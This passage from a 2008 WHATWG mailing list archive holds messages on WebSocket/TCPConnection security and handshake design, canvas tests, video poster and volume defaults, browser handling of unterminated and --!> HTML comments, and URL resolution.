logs and she could be shut down quickly. If she makes the detour over
a client-side scripts, only IPs of random visitors of Eve's website
would be logged.

>
>> 1) Open a TCP connection to her own domain on port 80. As far as the
>> browser is concerned, both origin and IP adress match the site one's,
>> so no cross domain checks are performed.
>
> The server will not be able to match a connection to an IP adress with
> the correct script on the same server. My proposal of reusing the same
> connection as the page was served from does not have this problem - as
> the web server can match the connection with the exact
> hostname/script.

I agree here.

>
>> 2) Forge HTTP requests on that connection with Bob's site in the Host
>> header and bruteforce the password. The Browser can't do anything
>> about this, because it treats the TCP connection as opaque. The
>> firewall just sees a legitimate HTTP request on a legitimate port.
>
> Still, that is more easily done if you are sitting on the local server
> using the server side script. Also the connections will be many times
> faster locally than all connections from outside users combined.

See above.
>
>> If Bob checks his logs, he will see requests from IPs all oer the
>> world. Because Eve has control about the Referrer and
>> Access-Control-Origin headers, there is no trace that leads back to
>> her. She might even have send the headers with forged values to shift
>> suspicion to another site.
>
> No trace leads back to Bob if he sits locally either (it would
> probably be more confusing).
>
> Perhaps the protocol should send another header stating the origin of
> the script that started the request?

For HTTP-based connections, this is exactly what Access-Control-Origin is doing.
For pure TCP connections, this would not be possible, because, after
all, they wouldn't be pure anymore :)

>
>> Note that the web hoster doesn't need to support WebSocket server side
>> in any way for this to work.
>
> The web hoster will not allow a shared hosting customer to create
> programs that listen on arbitrary ports on the server, so for
> TCPConnection this is not an issue.
>

The web hoster may not, but the interface on the browsers would still work.

>
> A big problem here is that we are discussing two separate things in
> the same threads. TCPConnection is one suggestion, WebConnection is
> another.

I agree. This attack would only work on pure TCP connections, not on
HTTP-based connections.

If I see it correctly, we have the following proposals currently:

- Client-initiated HTTP 101, access checks via Access Control (The
original proposal)

- "Server-initiated" HTTP 101 on an exisiting connection, no checks necessary

- Client-initiated HTTP 101, access checks via DNS/XSocket

- Pure TCP, access checks via DNS/XSocket

Is this correct?

I think we should decide if we should continue the discussion about a
HTTP-based or a pure TCP connection or if we should include both.

>
> My DNS record security framework will work for both implementations.

For pure TCP connections, I don't see how it would alleviate the
attack above. I think the XSocket proposal would solve the problem
though.
For HTTP-based connections, it would work, but I think Access Control
would solve the same problems and would be much easier to implement
and control.

>
> Security issues regarding TCPConnection should be discussed. Java
> applets can already do pure TCP connections to the server they are
> hosted on, and I have never heard of the type of attack that you
> describe above.
>
> Regards, Frode
>

Regards, Philipp Serafin


From excors+whatwg at gmail.com  Tue Jun 24 13:04:39 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Tue, 24 Jun 2008 21:04:39 +0100
Subject: [whatwg] Canvas tests updated
Message-ID: <ea09c0d10806241304i99d4551h91386a83eb24d7d0@mail.gmail.com>

I've recently updated my canvas tests at

  http://philip.html5.org/tests/canvas/suite/tests/

so they ought to be up-to-date with the latest version of the spec,
and have greater coverage than before. (Text rendering is the only
thing that's intentionally untested, though I may have missed some
other smaller areas.)

http://philip.html5.org/tests/canvas/suite/tests/results.html shows
the results I got from testing various browsers. Using the totally
unfair unrepresentative biased method of counting the number of
passes, the latest versions of Opera and WebKit and Konqueror are
roughly tied in first place while Firefox is last (except for IE which
doesn't really count), but even the best fail about a quarter of the
tests, so there's plenty of scope for bug-fixing :-)

Anyway, it's quite likely that a number of the tests are incorrect,
since nobody (including me) has reviewed them carefully; or that the
tests are correct according to the spec but the spec is incorrect
according to reality; so it would be good to get feedback from anyone
who notices issues in them.

-- 
Philip Taylor
excors at gmail.com


From frode at seria.no  Tue Jun 24 13:31:06 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 24 Jun 2008 22:31:06 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <f042876c0806240729g623a57fdg417adb42e28ea384@mail.gmail.com>
References: <485B69B5.9070007@arc.net.au>
	<31fb000f0806200419m6aae0708je2bfd7acb2ba9cfb@mail.gmail.com>
	<f042876c0806200550t6b3cf61dvebf77e273da2895d@mail.gmail.com>
	<f042876c0806200551j1db35971xaaafedd2fb1708ef@mail.gmail.com>
	<31fb000f0806200655j3af80aaah528e50ee0e1d324f@mail.gmail.com>
	<f042876c0806240729g623a57fdg417adb42e28ea384@mail.gmail.com>
Message-ID: <31fb000f0806241331h6cfd8d86q5b10c38f1bbe0f07@mail.gmail.com>

>> It is worth spending months improving the implementation here, if it
>> saves only one minute of work for each of the millions of web
>> developers out there, in the future.
>
> Alright, point taken. You're of course absolutely right with that :)
> I agree, it would be very convenient to basically set up and control a
> web app in a single connection. However, I think there are valid use
> cases for just the opposite set up as well. So, if we use a HTTP
> handshake, we should provide two ways.

Agree

>> If it is impossible to use HTML, then it is absolutely required that
>> Session ID is added as a standard header - since that will be the only
>> way of linking the generated HTML with the separate persistent
>> connection. You can't assume that an application server or the web
>> server will be able to parse the cookie, since the cookie format is
>> different for each programming language/application.
>
> This depends on the layer where the session management takes place.
> For example, PHP's existing session handling system already uses
> cookies. So, a hypothetical future "PPHP" version of PHP could extend

The PHP *script* decides how to encode session identifiers, not the
PHP-engine. PHP has a default cookie variable called PHPSESSID that
many php-scripts use but many PHP-applications implement their own
session handling. If the Session ID was implemented trough headers, it
would have the following benefits:

1. Many more links in the chain between the browser and the server
side script can utilize session id; for example a load balancer will
easily see which internal server to pass requests to.
2. Session ID is not available for client side scripts - and makes
session hijacking
much more difficult. (Today they are accessible trough document.cookie)
3. Server side logic can be implemented in many more layers for
connecting requests to an actual user session.
4. Statistics tools can much more easily identify unique visitors, as
Session ID potentially could be logged in log files.
I am sure there are more advantages.

> the session system to support this.
> This feature couldn't be implemented in the afromentioned "few lines
> of perl" though.

SessionID header only need to be implemented on the client side for
HTML5 browsers. Server side scripting languages can immediately read
headers and set headers - but it would be an advantage if PHP (and
others) was updated to use SessionID-header as default for request
from browsers supporting HTML5.

>>The HTTP 101 Switching Protocols can be sent by the server, without
>>the client asking for a protocol change. The only requirement is that
>>the server sends 426 Upgrade Required first, then specifies which
>>protocol to switch to. The protocol switched to could possibly be the
>>one proposed in the beginning of this thread.
>
> I don't see how we could use 426 as a notification that the client
> should open a WebSocket connection. 426 is still an error code, so if
> you send it as the reply to the initial GET request, you can't be sure
> the HTML file you pushed gets interpreted the correct way. While this
> would probably work, it would be semantically unclean at best.

I am not a HTTP protocol wizard, but I have read that something
similar is done for starting HTTPS-communications, and I believe the
same procedure can be used for WebSocket.

> PROPOSAL: Turning an existing HTTP connection into a WebSocket connection:
>
> If the server sends a Connection: Upgrade header and an Upgrade header
> with a "WebSocket" token as part of a normal response and if the
> resource fetched established a browsing contest, the client must not
> issue any other requests on that connection and must initiate a
> protocol switch.
> After the switch has finished, the client would expose the connection
> to the application via a DefaultWebSocket property or something
> similar.
>
> An exchange could look like this:
>
> C: GET /uri HTTP/1.1
> C: Host: example.com
> C: [ ... usual headers ... ]
> C:
>
> S: HTTP/1.1 200 OK
> S: Content-Type: text/html
> S: [ ... usual headers ... ]
> S: Upgrade: WebSocket/1.0
> S: Connection: Upgrade
> S:
> S: [ ... body ... ]
>
> C: OPTIONS /uri HTTP/1.1
> C: Host: example.com
> C: Upgrade: WebSocket/1.0
> C: Connection: Upgrade
> C:
>
> S: HTTP/1.1 101 Switching Protocols
> S: Upgrade: WebSocket/1.0
> S: Connection: Upgrade
> S:
>
> C/S: [ ... application specific data ... ]
>
> Because the connection would be same-origin pretty much per
> definition, no access checks would be needed in that situation.
>
> Would something like this be doable and wanted?

This is exactly what I was trying to describe :)

>>> Consider the following scenario:
>>>
>>> Bob and Eve have bought space on a run-of-the-mill XAMPP web hoster.
>>> They have different domains but happen to be on the same IP. Now Eve
>>> wants do bruteforce Bob's password-protected web application. So she
>>> adds a script to her relatively popular site that does the following:
>>
>> So Bob will DDOS his own server? And my proposals allows using
>> hostnames OR ip-addresses in the DNS TXT record, so unless Eve add her
>> own IP-address to the DNS then Bob can't create scripts that are
>> allowed to access her hostname.
>
> I'm sorry, if my wording was unclear. I was talking about a typical
> shared hosting setup where customers get FTP access to a directory
> where they can upload pages and scripts but for example no shell
> access. Bob and Eve would have different directories on the same
> server. Requests to their sites would go to the same port on the same
> IP. The server would use the Host header to determine which request
> goes to which site. In the scenario, Eve would try to attack Bob's
> application.

This is possible today using a very simple java applet. The java
applet does not even have to be trusted to perform a pure
TCP-connection and the applet can be scripted using javascript via
liveconnect. I don't believe it is a problem at all.

>> Why could he not just do a local connect to the port? Besides; if you
>> have login access to the same server as your target - there are a lot
>> much more efficient ways to find access information.
>
> Eve could connect directly. However, then her IP would be in Bob's
> logs and she could be shut down quickly. If she makes the detour over
> a client-side scripts, only IPs of random visitors of Eve's website
> would be logged.

1. The security restrictions require a script to be downloaded from
the same IP as her own website. From this Eve will know that another
user on the same shared host is performing the attack.
2. If she can see that attacks are being made from her own IP address,
she would know exactly as much as in point 1.

In either case, it is impossible to tell if its Bob or John on the
same server that performs the connections.

>>> 2) Forge HTTP requests on that connection with Bob's site in the Host
>>> header and bruteforce the password. The Browser can't do anything
>>> about this, because it treats the TCP connection as opaque. The
>>> firewall just sees a legitimate HTTP request on a legitimate port.
>>
>> Still, that is more easily done if you are sitting on the local server
>> using the server side script. Also the connections will be many times
>> faster locally than all connections from outside users combined.
>
> See above.

See above:)

>>> If Bob checks his logs, he will see requests from IPs all oer the
>>> world. Because Eve has control about the Referrer and
>>> Access-Control-Origin headers, there is no trace that leads back to
>>> her. She might even have send the headers with forged values to shift
>>> suspicion to another site.
>>
>> No trace leads back to Bob if he sits locally either (it would
>> probably be more confusing).
>>
>> Perhaps the protocol should send another header stating the origin of
>> the script that started the request?
>
> For HTTP-based connections, this is exactly what Access-Control-Origin is doing.
> For pure TCP connections, this would not be possible, because, after
> all, they wouldn't be pure anymore :)

The script doing the connection either must be downloaded from Bobs
server, or must be mentioned in Bobs' domain TXT-records - or perform
the connection by downloading an xSocket file over HTTP first, and he
will have a very good clue on finding the source of the attack and
also stopping the attack because he would have to actively enable it
in the first place.

>>> Note that the web hoster doesn't need to support WebSocket server side
>>> in any way for this to work.
>> The web hoster will not allow a shared hosting customer to create
>> programs that listen on arbitrary ports on the server, so for
>> TCPConnection this is not an issue.
> The web hoster may not, but the interface on the browsers would still work.

Anyway, see my comment above. This attack is already possible using
java applets and can only be initiated from the server that is being
attacked. A low traffic shared server can never initiate millions of
attacks world wide, and the odds of the evil attacker being on exactly
the same server as the site being attacked is very low.

>> A big problem here is that we are discussing two separate things in
>> the same threads. TCPConnection is one suggestion, WebConnection is
>> another.
>
> I agree. This attack would only work on pure TCP connections, not on
> HTTP-based connections.

I believe TCP connections are secure - unless ofcourse in the
improbable case that the attacker has a user account on your server.

> If I see it correctly, we have the following proposals currently:
>
> - Client-initiated HTTP 101, access checks via Access Control (The
> original proposal)
> - Client-initiated HTTP 101, access checks via DNS/XSocket

The two above is essentially the same, just different security mechanisms.

> - "Server-initiated" HTTP 101 on an exisiting connection, no checks necessary
>
> - Pure TCP, access checks via DNS/XSocket
>
> Is this correct?

This is correct. I believe there is one more proposal involving a very
simple handshake (allows client to connect to any port on any server,
but the handshake must succeed).

> I think we should decide if we should continue the discussion about a
> HTTP-based or a pure TCP connection or if we should include both.

I vote for these:
1. TCPConnection using DNS and/or xSocket.
2. Server initiated WebSocket trough the existing channel that the
page was sent trough (via document.webSocket for example).
3. Since AJAX requests basically are page requests, the server should
be able to initiate a websocket also on AJAX requests - effectively
making it client initiated and server approved.

Should we start new discussion threads for these?

>> My DNS record security framework will work for both implementations.
> For pure TCP connections, I don't see how it would alleviate the
> attack above. I think the XSocket proposal would solve the problem
> though.

See above. TCP connections to Server A can only be performed is client
script is downloaded from Server A or if Server A has made an xSocket
file available over HTTP, or if DNS records indicate that scripts
downloaded from hostname of Server B can connect to Server A.

> For HTTP-based connections, it would work, but I think Access Control
> would solve the same problems and would be much easier to implement
> and control.

Notice that the xSocket implementation does not require any changes to
the existing server side to enable pure TCP - only an xSocket file
sent over normal HTTP. The same applies to the DNS-method, which
probably mostly will be used for very high traffic websites. A simple
server side script can perform any security checks neccesary before
providing a xSocket file, so I think it is easier to implement. The
xSocket file can also be extended to accomodate future ideas (being
XML-based).


From frode at seria.no  Tue Jun 24 13:40:58 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 24 Jun 2008 22:40:58 +0200
Subject: [whatwg] What should the value attribute be for
	multi-fileupload controls in WF2?
In-Reply-To: <0A08EABFC63C493E9E2EA1047DFD3F2B@POCZTOWIEC>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<485BB421.4090803@lachy.id.au>
	<a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com>
	<31fb000f0806201544n1c5abebdicb108675a71d5f97@mail.gmail.com>
	<0A08EABFC63C493E9E2EA1047DFD3F2B@POCZTOWIEC>
Message-ID: <31fb000f0806241340t3b6c6b5l6a397d0b3542cdeb@mail.gmail.com>

> Because it breaks the common interface that the value property returns a scalar?

Doesn't renaming the .value property to for example .files also break
the common interface?

Frode


From giecrilj at stegny.2a.pl  Tue Jun 24 13:52:50 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Tue, 24 Jun 2008 22:52:50 +0200
Subject: [whatwg] What should the value attribute be formulti-fileupload
	controls in WF2?
In-Reply-To: <31fb000f0806241340t3b6c6b5l6a397d0b3542cdeb@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com><485BB421.4090803@lachy.id.au><a9699fd20806201347p7d376b30w80977f9585024e64@mail.gmail.com><31fb000f0806201544n1c5abebdicb108675a71d5f97@mail.gmail.com><0A08EABFC63C493E9E2EA1047DFD3F2B@POCZTOWIEC>
	<31fb000f0806241340t3b6c6b5l6a397d0b3542cdeb@mail.gmail.com>
Message-ID: <C4A1FA993A7D4B48B1D164BA807562C3@POCZTOWIEC>

Breaking the interface means changing the semantics without introducing new
syntax.  For example, if x is int[10] and you decide you need 20 of them
afterwards, you say "x2 is int[20]" and you throw x away.  Afterwards you
have to accommodate the code using x, which is now undefined, to the new
semantics.  The fact that x is undefined is helpful because you have a
smaller chance of overlooking something.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Tuesday, June 24, 2008 10:41 PM
To: Kristof Zelechovski
Cc: whatwg at whatwg.org; Thomas Broyer
Subject: Re: [whatwg] What should the value attribute be formulti-fileupload
controls in WF2?

> Because it breaks the common interface that the value property returns a
scalar?

Doesn't renaming the .value property to for example .files also break
the common interface?

Frode



From jonas at sicking.cc  Thu Jun 26 15:48:27 2008
From: jonas at sicking.cc (Jonas Sicking)
Date: Thu, 26 Jun 2008 15:48:27 -0700
Subject: [whatwg] usemap="" and related issues
In-Reply-To: <Pine.LNX.4.62.0806050049110.8559@hixie.dreamhostps.com>
References: <op.tlq7qta564w2qv@id-c0020>
	<6b9c91b20701061647y7496258cyc73e82da837edce2@mail.gmail.com>
	<Pine.LNX.4.64.0708080557210.9521@dhalsim.dreamhost.com>
	<6b9c91b20708081121n1aebc059u65cd4754cd5f0af@mail.gmail.com>
	<op.twr91vqm7a8kvn@hp-a0a83fcd39d2> <46C72E3F.5020606@sicking.cc>
	<op.tw9073vw7a8kvn@hp-a0a83fcd39d2> <46C973D5.6020704@sicking.cc>
	<op.txcwqkfa64w2qv@annevk-t60.oslo.opera.com>
	<46CA29B5.6080101@sicking.cc>
	<Pine.LNX.4.62.0806050049110.8559@hixie.dreamhostps.com>
Message-ID: <48641CBB.8010204@sicking.cc>

> On Sat, 18 Aug 2007, Jonas Sicking wrote:
>> Since ID is case sensitive everywhere else, I don't see a reason to make 
>> an exception from that rule here. That seems to unnecessarily complicate 
>> implementation as well as introduce weird inconsistencies for authors.
> 
> It already is inconsistent for usemap="". At least for legacy Web content 
> I don't think we can do much about it. At that point, I'd rather just 
> extend that to XHTML than to keep another difference.

In mozilla for HTML we only look at the name attribute, and only do so 
case insensitively. For XHTML we only look at the id attribute, and are 
always case sensitive.

We have had a number of bugs filed on id not working on HTML, (with most 
of them pointing at the XHTML spec as a reason it should work) but they 
all use the same casing for the usemap attribute and the id attribute.

Do you have any data showing that using case sensitive matching for the 
id attribute would break compatibility with any pages?


What I did notice in our code though is how we deal with the case when 
there are multiple <map>s with the same name. In this case we generally 
use the first <map>. But if the first <map> is empty, we use the first 
non-empty <map>. This was done for compatibility with some sites. See 
https://bugzilla.mozilla.org/show_bug.cgi?id=264624

I have no idea if this matters today or not.

/ Jonas


From adele at apple.com  Thu Jun 26 18:03:30 2008
From: adele at apple.com (Adele Peterson)
Date: Thu, 26 Jun 2008 18:03:30 -0700
Subject: [whatwg] Timing for the poster image appearing for <video>
Message-ID: <0B6474C7-DA5E-4F6C-9C75-7B505FF8F154@apple.com>

Hi all,

The spec currently states that the poster image specified in the  
poster attribute for <video> can show up either when no video data is  
available or when a video element is paused and the current playback  
position is the first frame of video.

The second situation seems like it would allow the poster image to be  
displayed when a user rewinds the video back to the beginning while  
paused.  I think it would make more sense to just allow the poster  
image to be displayed if the readyState is less than CAN_PLAY, instead  
of considering the paused state.  The paused state will always be true  
when the readyState is less than CAN_PLAY, but with this rule, the  
poster image won't randomly show up in other situations where the  
video is paused and you're at the beginning.

Thanks,
	Adele


From adele at apple.com  Thu Jun 26 18:27:58 2008
From: adele at apple.com (Adele Peterson)
Date: Thu, 26 Jun 2008 18:27:58 -0700
Subject: [whatwg] Consider changing the default volume for <audio> and
	<video> to be 1.0 instead of 0.5
Message-ID: <AF426A52-7519-46FA-B49F-8191F754388D@apple.com>

Hi all,

The spec currently says that the default volume level is 0.5.  In  
WebKit's initial implementation, we have received feedback that the  
audio seems much too soft.  If a user has already adjusted their  
device's volume to their liking, then I think 1.0 should correspond to  
that level, and that should be the default.  This will enable the  
browser to have similar volume levels to other applications on the  
system, and will respect the system volume.

Thanks,
	Adele


From philipj at opera.com  Thu Jun 26 18:47:53 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Fri, 27 Jun 2008 08:47:53 +0700
Subject: [whatwg] Timing for the poster image appearing for <video>
In-Reply-To: <0B6474C7-DA5E-4F6C-9C75-7B505FF8F154@apple.com>
References: <0B6474C7-DA5E-4F6C-9C75-7B505FF8F154@apple.com>
Message-ID: <1214531273.6816.1.camel@localhost>

The current spec allows implementing it like this, but I support the
change as it takes away that unnecessary ambiguity.

On Thu, 2008-06-26 at 18:03 -0700, Adele Peterson wrote:
> Hi all,
> 
> The spec currently states that the poster image specified in the  
> poster attribute for <video> can show up either when no video data is  
> available or when a video element is paused and the current playback  
> position is the first frame of video.
> 
> The second situation seems like it would allow the poster image to be  
> displayed when a user rewinds the video back to the beginning while  
> paused.  I think it would make more sense to just allow the poster  
> image to be displayed if the readyState is less than CAN_PLAY, instead  
> of considering the paused state.  The paused state will always be true  
> when the readyState is less than CAN_PLAY, but with this rule, the  
> poster image won't randomly show up in other situations where the  
> video is paused and you're at the beginning.
> 
> Thanks,
> 	Adele
-- 
Philip J?genstedt
Opera Software



From lachlan.hunt at lachy.id.au  Thu Jun 26 18:49:24 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Fri, 27 Jun 2008 03:49:24 +0200
Subject: [whatwg] Timing for the poster image appearing for <video>
In-Reply-To: <0B6474C7-DA5E-4F6C-9C75-7B505FF8F154@apple.com>
References: <0B6474C7-DA5E-4F6C-9C75-7B505FF8F154@apple.com>
Message-ID: <48644724.2000506@lachy.id.au>

Adele Peterson wrote:
> The spec currently states that the poster image specified in the poster 
> attribute for <video> can show up either when no video data is available 
> or when a video element is paused and the current playback position is 
> the first frame of video.
> 
> The second situation seems like it would allow the poster image to be 
> displayed when a user rewinds the video back to the beginning while 
> paused.

Looking at the way YouTube videos work when they're not set to autoplay, 
the poster frame is displayed up until the video begins playing for the 
first time.  After that, it always displays whatever frame it's paused 
on, until it reaches the end and displays related videos instead.

-- 
Lachlan Hunt - Opera Software
http://lachy.id.au/
http://www.opera.com/


From philipj at opera.com  Thu Jun 26 18:54:48 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Fri, 27 Jun 2008 08:54:48 +0700
Subject: [whatwg] Consider changing the default volume for <audio>
	and	<video> to be 1.0 instead of 0.5
In-Reply-To: <AF426A52-7519-46FA-B49F-8191F754388D@apple.com>
References: <AF426A52-7519-46FA-B49F-8191F754388D@apple.com>
Message-ID: <1214531688.6816.9.camel@localhost>

I support this change, ?assuming that volume 1.0 corresponds to digital
0 dB. This way, no volume adjustment is needed by default, which seems
like a sensible... default.

On Thu, 2008-06-26 at 18:27 -0700, Adele Peterson wrote:
> Hi all,
> 
> The spec currently says that the default volume level is 0.5.  In  
> WebKit's initial implementation, we have received feedback that the  
> audio seems much too soft.  If a user has already adjusted their  
> device's volume to their liking, then I think 1.0 should correspond to  
> that level, and that should be the default.  This will enable the  
> browser to have similar volume levels to other applications on the  
> system, and will respect the system volume.
> 
> Thanks,
> 	Adele
-- 
Philip J?genstedt
Opera Software



From chris.double at double.co.nz  Thu Jun 26 20:06:18 2008
From: chris.double at double.co.nz (Chris Double)
Date: Fri, 27 Jun 2008 15:06:18 +1200
Subject: [whatwg] Consider changing the default volume for <audio> and
	<video> to be 1.0 instead of 0.5
In-Reply-To: <AF426A52-7519-46FA-B49F-8191F754388D@apple.com>
References: <AF426A52-7519-46FA-B49F-8191F754388D@apple.com>
Message-ID: <c2e346f90806262006p180dbccx15d588a009b2cd12@mail.gmail.com>

On Fri, Jun 27, 2008 at 1:27 PM, Adele Peterson <adele at apple.com> wrote:
> The spec currently says that the default volume level is 0.5.  In WebKit's
> initial implementation, we have received feedback that the audio seems much
> too soft.  If a user has already adjusted their device's volume to their
> liking, then I think 1.0 should correspond to that level, and that should be
> the default.  This will enable the browser to have similar volume levels to
> other applications on the system, and will respect the system volume.

I agree. I've noticed with the Firefox implementation that defaulting
to 0.5 is too quiet and can cause a bit of confusion with people
adjusting the system volume to make it louder - which makes other apps
even louder.

Chris.
-- 
http://www.bluishcoder.co.nz


From whatwg at adambarth.com  Thu Jun 26 22:12:26 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Thu, 26 Jun 2008 22:12:26 -0700
Subject: [whatwg] Unterminated comments in <textarea>, <script>, <style>,
	<title>, and <iframe>
Message-ID: <7789133a0806262212y19c3aadcl5560c23442856bdf@mail.gmail.com>

Recently, I've been testing how browser parsers handle unterminated
<!-- comments -->.  Internet Explorer 7, Firefox 3, Safari 3.1, and
Opera 9.5 agree on the following cases:

http://crypto.stanford.edu/~abarth/research/html5/comments/open-textarea.html
http://crypto.stanford.edu/~abarth/research/html5/comments/open-script.html
http://crypto.stanford.edu/~abarth/research/html5/comments/open-style.html

Essentially, they treat the <!-- as if it did not start a comment.
Ian pointed out on IRC that this might be a security vulnerability
because the result of parsing the stream depends on whether the parser
hung or terminated at the end of the stream.  (If the parser had hung,
it would be awaiting more characters for the comment.)

The above browsers almost agree for on the behavior for <title>:

http://crypto.stanford.edu/~abarth/research/html5/comments/open-title.html

Internet Explorer 7, Firefox 3, and Opera 9.5 treat treat <!-- as if
it did not start a comment.  Safari 3.1 differs slightly and only uses
the portion before the <!-- as the title, but otherwise parses the
remainder of the document as if <!-- did not start a comment.

The above browsers differ in their handling of unterminated comments
for the <iframe> element:

http://crypto.stanford.edu/~abarth/research/html5/comments/open-iframe.html

Internet Explorer 7 and Safari 3.1 follow the spec and consume the
remainder of the document in the comment.  Firefox 3 and Opera 9.5
treat <!-- as if it did not start a comment.

As I understand it, browser behavior for <textarea>, <script>,
<style>, and <title> differs from the spec.  It is unclear whether
browsers will change to match the spec, especially because the
<script> element might contain <!-- sequences in string literals or
regular expressions (e.g.,
<http://crypto.stanford.edu/~abarth/research/html5/comments/open-script-in-string.html>).

Adam


From whatwg at adambarth.com  Thu Jun 26 22:30:57 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Thu, 26 Jun 2008 22:30:57 -0700
Subject: [whatwg] Ending comments with --!>
Message-ID: <7789133a0806262230u31e8f4efv1526595254d5a01e@mail.gmail.com>

Internet Explorer 7, Firefox 3, Safari 3.1, and Opera 9.5 accept --!>
as an alternate comment terminator to the usual -->

http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending.html

In Internet Explorer 7 and Opera 9.5, if the document later contains
the usual comment terminator, then that character sequence terminates
the comment instead:

http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-real-ending.html
http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-later-comment.html

Firefox 3 and Safari 3.1 do not appear to exhibit this behavior.

(Interestingly, the syntax highlighter in vim suggests the document
will be parsed as in Firefox and Safari, no doubt contributing to
author confusion.)

Adam


From whatwg at adambarth.com  Fri Jun 27 00:13:58 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Fri, 27 Jun 2008 00:13:58 -0700
Subject: [whatwg] Ending comments with --!>
In-Reply-To: <7789133a0806262230u31e8f4efv1526595254d5a01e@mail.gmail.com>
References: <7789133a0806262230u31e8f4efv1526595254d5a01e@mail.gmail.com>
Message-ID: <7789133a0806270013l5616f418r6fc02fa2c02b6e82@mail.gmail.com>

Ian explained to me on IRC that IE and Opera are consuming the entire
document as a comment and reparsing for > (i.e., --!> is not treated
specially).  That is supported by the following test case:

http://crypto.stanford.edu/~abarth/research/html5/comments/bang-gt.html

Safari and Firefox contain explicit code for detecting --!> (as
demonstrated by the above test case).  In Safari, the code was
introduced in

http://trac.webkit.org/changeset/4103

In Firefox, the code was introduced in

https://bugzilla.mozilla.org/show_bug.cgi?id=110544

As far as I can tell, neither checkin explains why this behavior was added.

Adam


On Thu, Jun 26, 2008 at 10:30 PM, Adam Barth <whatwg at adambarth.com> wrote:
> Internet Explorer 7, Firefox 3, Safari 3.1, and Opera 9.5 accept --!>
> as an alternate comment terminator to the usual -->
>
> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending.html
>
> In Internet Explorer 7 and Opera 9.5, if the document later contains
> the usual comment terminator, then that character sequence terminates
> the comment instead:
>
> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-real-ending.html
> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-later-comment.html
>
> Firefox 3 and Safari 3.1 do not appear to exhibit this behavior.
>
> (Interestingly, the syntax highlighter in vim suggests the document
> will be parsed as in Firefox and Safari, no doubt contributing to
> author confusion.)
>
> Adam
>


From whatwg at adambarth.com  Fri Jun 27 11:21:22 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Fri, 27 Jun 2008 11:21:22 -0700
Subject: [whatwg] Resolving URLs
Message-ID: <7789133a0806271121l13222e18nf9e67e6a0cfa2755@mail.gmail.com>

In <http://www.whatwg.org/specs/web-apps/current-work/#resolving>, the
spec says:

"If the URL to be resolved was passed to an API
    The base URL is the document base URL of the script's script
document context."

I believe browsers differ on this point.  When resolving a URL
received from a script, there are three likely sources of a base URL:

1) The script's script document context (i.e., the document of the
window object lexically in scope).
2) The document of the window object dynamically in scope.
3) The document to which the API belongs.

I'm working on a test suite to reverse engineer the behavior of
current browsers and will report my findings.

Adam


From mjs at apple.com  Fri Jun 27 13:52:50 2008
From: mjs at apple.com (Maciej Stachowiak)
Date: Fri, 27 Jun 2008 13:52:50 -0700
Subject: [whatwg] Ending comments with --!>
In-Reply-To: <7789133a0806270013l5616f418r6fc02fa2c02b6e82@mail.gmail.com>
References: <7789133a0806262230u31e8f4efv1526595254d5a01e@mail.gmail.com>
	<7789133a0806270013l5616f418r6fc02fa2c02b6e82@mail.gmail.com>
Message-ID: <E3B5E1A6-C2FE-49F3-B289-FAD7E1602063@apple.com>


On Jun 27, 2008, at 12:13 AM, Adam Barth wrote:

> Ian explained to me on IRC that IE and Opera are consuming the entire
> document as a comment and reparsing for > (i.e., --!> is not treated
> specially).  That is supported by the following test case:
>
> http://crypto.stanford.edu/~abarth/research/html5/comments/bang- 
> gt.html
>
> Safari and Firefox contain explicit code for detecting --!> (as
> demonstrated by the above test case).  In Safari, the code was
> introduced in
>
> http://trac.webkit.org/changeset/4103
>
> In Firefox, the code was introduced in
>
> https://bugzilla.mozilla.org/show_bug.cgi?id=110544
>
> As far as I can tell, neither checkin explains why this behavior was  
> added.

Hyatt's comment on the WebKit checkin says it was to match other  
browsers (presumably Mozilla).

Regards,
Maciej

>
>
> Adam
>
>
> On Thu, Jun 26, 2008 at 10:30 PM, Adam Barth <whatwg at adambarth.com>  
> wrote:
>> Internet Explorer 7, Firefox 3, Safari 3.1, and Opera 9.5 accept --!>
>> as an alternate comment terminator to the usual -->
>>
>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending.html
>>
>> In Internet Explorer 7 and Opera 9.5, if the document later contains
>> the usual comment terminator, then that character sequence terminates
>> the comment instead:
>>
>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-real-ending.html
>> http://crypto.stanford.edu/~abarth/research/html5/comments/strange-ending-with-later-comment.html
>>
>> Firefox 3 and Safari 3.1 do not appear to exhibit this behavior.
>>
>> (Interestingly, the syntax highlighter in vim suggests the document
>> will be parsed as in Firefox and Safari, no doubt contributing to
>> author confusion.)
>>
>> Adam
>>



From whatwg at adambarth.com  Fri Jun 27 13:57:59 2008
From: whatwg at adambarth.com (Adam Barth)
Date: Fri, 27 Jun 2008 13:57:59 -0700
Subject: [whatwg] Ending comments with --!>
In-Reply-To: <E3B5E1A6-C2FE-49F3-B289-FAD7E1602063@apple.com>
References: <7789133a0806262230u31e8f4efv1526595254d5a01e@mail.gmail.com>
	<7789133a0806270013l5616f418r6fc02fa2c02b6e82@mail.gmail.com>
